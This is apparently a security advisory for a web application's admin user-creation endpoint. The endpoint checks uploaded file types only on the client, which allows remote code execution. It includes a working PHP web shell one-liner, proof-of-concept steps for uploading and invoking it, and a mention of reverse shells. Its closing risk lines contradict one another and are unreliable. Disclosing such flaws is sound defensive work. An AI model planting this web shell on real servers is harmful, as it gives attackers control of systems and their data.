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GHSA-v22v-xwh7-2vrm
No affected components available
Summary:
Affected Functionality: Image upload at User creation
Endpoint: /admin/settings/users/create
Details
The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.
Modified part of the multipart request body:
Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>
PoC
- Upload an image file as profile picture during user creation , now capture the request and modify.
File content:
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>File name: poc.php Content-Type can be any, doesn't matter. - Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls
// pass the command to run as parameter value for
cmd, example runninglscommand on the system
Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.
Impact
Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn
Recommendation:
Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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